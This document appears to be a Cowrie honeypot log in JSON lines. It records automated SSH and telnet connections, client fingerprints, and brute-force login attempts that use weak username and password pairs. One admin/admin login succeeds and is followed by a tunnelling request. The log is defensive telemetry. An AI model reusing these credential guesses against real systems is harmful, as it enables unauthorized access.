{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":40494,"dst_ip":"10.17.0.5","dst_port":22,"session":"91a55d0e404a","protocol":"ssh","message":"New connection: 189.203.163.10:40494 (10.17.0.5:22) [session: 91a55d0e404a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:05.345136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:05.350506Z","src_ip":"189.203.163.10","session":"91a55d0e404a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:05.414149Z","src_ip":"189.203.163.10","session":"91a55d0e404a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wo","password":"123456","message":"login attempt [wo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:05.703536Z","src_ip":"189.203.163.10","session":"91a55d0e404a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:06.770185Z","src_ip":"189.203.163.10","session":"91a55d0e404a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":42068,"dst_ip":"10.17.0.5","dst_port":22,"session":"602b9677035e","protocol":"ssh","message":"New connection: 79.104.0.82:42068 (10.17.0.5:22) [session: 602b9677035e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:13.982016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:13.986438Z","src_ip":"79.104.0.82","session":"602b9677035e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:14.137825Z","src_ip":"79.104.0.82","session":"602b9677035e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webdisk","password":"123456","message":"login attempt [webdisk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:14.767509Z","src_ip":"79.104.0.82","session":"602b9677035e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:15.920504Z","src_ip":"79.104.0.82","session":"602b9677035e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.189.195.8","src_port":45026,"dst_ip":"10.17.0.5","dst_port":22,"session":"181574963554","protocol":"ssh","message":"New connection: 203.189.195.8:45026 (10.17.0.5:22) [session: 181574963554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:20.662193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:20.666342Z","src_ip":"203.189.195.8","session":"181574963554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:20.964505Z","src_ip":"203.189.195.8","session":"181574963554","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hoster","password":"P@ssw0rd","message":"login attempt [hoster/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:24.865032Z","src_ip":"203.189.195.8","session":"181574963554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:26.163302Z","src_ip":"203.189.195.8","session":"181574963554","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":51640,"dst_ip":"10.17.0.5","dst_port":22,"session":"928f65f38f13","protocol":"ssh","message":"New connection: 76.79.213.69:51640 (10.17.0.5:22) [session: 928f65f38f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:31.907739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:31.912017Z","src_ip":"76.79.213.69","session":"928f65f38f13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:32.033083Z","src_ip":"76.79.213.69","session":"928f65f38f13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emo","password":"ItsemoemoWashere2026support","message":"login attempt [emo/ItsemoemoWashere2026support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:32.552291Z","src_ip":"76.79.213.69","session":"928f65f38f13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:33.675847Z","src_ip":"76.79.213.69","session":"928f65f38f13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52910,"dst_ip":"159.203.135.109","dst_port":23,"session":"41a5ed13130a","protocol":"telnet","message":"New connection: 172.81.62.90:52910 (159.203.135.109:23) [session: 41a5ed13130a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:38.161094Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52736,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cf20f6dffc1","protocol":"telnet","message":"New connection: 128.199.8.54:52736 (159.203.135.109:23) [session: 3cf20f6dffc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:47.479789Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":58194,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa8a540a4798","protocol":"ssh","message":"New connection: 201.17.146.173:58194 (10.17.0.5:22) [session: fa8a540a4798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:01.894845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:01.906980Z","src_ip":"201.17.146.173","session":"fa8a540a4798","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:02.172109Z","src_ip":"201.17.146.173","session":"fa8a540a4798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nav","password":"123456","message":"login attempt [nav/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:02.811983Z","src_ip":"201.17.146.173","session":"fa8a540a4798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:03.959556Z","src_ip":"201.17.146.173","session":"fa8a540a4798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.636411905288696,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:13.797360Z","src_ip":"172.81.62.90","session":"41a5ed13130a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":55422,"dst_ip":"10.17.0.5","dst_port":22,"session":"abb4752d0d23","protocol":"ssh","message":"New connection: 160.251.185.39:55422 (10.17.0.5:22) [session: abb4752d0d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:20.167118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:20.171435Z","src_ip":"160.251.185.39","session":"abb4752d0d23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:20.343769Z","src_ip":"160.251.185.39","session":"abb4752d0d23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"test@123","message":"login attempt [ftpuser/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:21.062858Z","src_ip":"160.251.185.39","session":"abb4752d0d23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:22.244127Z","src_ip":"160.251.185.39","session":"abb4752d0d23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":33206,"dst_ip":"10.17.0.5","dst_port":22,"session":"6861f3d897c2","protocol":"ssh","message":"New connection: 5.89.75.194:33206 (10.17.0.5:22) [session: 6861f3d897c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:22.837186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:22.842011Z","src_ip":"5.89.75.194","session":"6861f3d897c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:22.946429Z","src_ip":"5.89.75.194","session":"6861f3d897c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ttt","password":"ttt","message":"login attempt [ttt/ttt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:23.385013Z","src_ip":"5.89.75.194","session":"6861f3d897c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:24.490546Z","src_ip":"5.89.75.194","session":"6861f3d897c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43872,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3bf984b60f4","protocol":"telnet","message":"New connection: 172.81.62.90:43872 (159.203.135.109:23) [session: f3bf984b60f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:27.950125Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43886,"dst_ip":"159.203.135.109","dst_port":23,"session":"482a32fd9355","protocol":"telnet","message":"New connection: 172.81.62.90:43886 (159.203.135.109:23) [session: 482a32fd9355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:30.192012Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32222,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9e7fe9c5bd4","protocol":"ssh","message":"New connection: 87.251.64.176:32222 (10.17.0.5:22) [session: c9e7fe9c5bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:44.474188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:44.477504Z","src_ip":"87.251.64.176","session":"c9e7fe9c5bd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:44.579950Z","src_ip":"87.251.64.176","session":"c9e7fe9c5bd4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:44.887517Z","src_ip":"87.251.64.176","session":"c9e7fe9c5bd4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:44.993598Z","session":"c9e7fe9c5bd4","protocol":"ssh"}
